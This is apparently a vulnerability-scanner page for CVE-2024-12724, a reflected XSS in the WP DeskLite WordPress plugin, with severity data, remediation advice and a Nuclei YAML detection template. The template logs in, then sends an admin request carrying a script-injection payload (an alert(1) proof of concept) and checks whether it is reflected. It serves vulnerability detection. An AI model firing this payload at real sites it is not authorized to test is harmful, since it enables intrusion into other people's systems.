WP DeskLite - Reflected XSS
CVE-2024-12724
Verified
Description
WP DeskLite WordPress plugin through 1.0.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
Severity
Medium
CVSS Score
6.1
Exploit Probability
0%
Affected Product
wp_desklite
Published Date
February 6, 2026
Template Author
sourabh-sahu
CVE-2024-12724.yaml
id: CVE-2024-12724
info:
name: WP DeskLite - Reflected XSS
author: Sourabh-Sahu
severity: medium
description: |
WP DeskLite WordPress plugin through 1.0.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
impact: |
Attackers can execute scripts in admin users' browsers, potentially leading to account takeover or unauthorized actions.
remediation: |
Update to the latest version with proper input sanitization and escaping.
reference:
- https://wpscan.com/vulnerability/9dd3ffaa-9020-47a6-bf9a-7e1412b9e9d5/
- https://nvd.nist.gov/vuln/detail/CVE-2024-12724
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-12724
cwe-id: CWE-79
epss-score: 0.00252
epss-percentile: 0.48575
cpe: cpe:2.3:a:codeflock:wp_desklite:1.0.0:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: codeflock
product: wp_desklite
tags: cve,cve2024,wordpress,wp,wp-plugin,xss,wp-desklite,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/edit.php?post_type=wpdl_ticket&"></script><script>alert(1)</script><script>=` HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "></script><script>alert(1)</script><script>","wp-desklite")
condition: and
# digest: 4a0a00473045022076550293bd04b93b0438088f04c9f9f233f58a2916c945b06d531e5ba4e4ac9e02210094302354188b8cb7faccf1de76d163ee4d96132201dfce602337a080a609d821:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2024-12724
CWE ID:
cwe-79
Remediation Steps
Update to the latest version with proper input sanitization and escaping.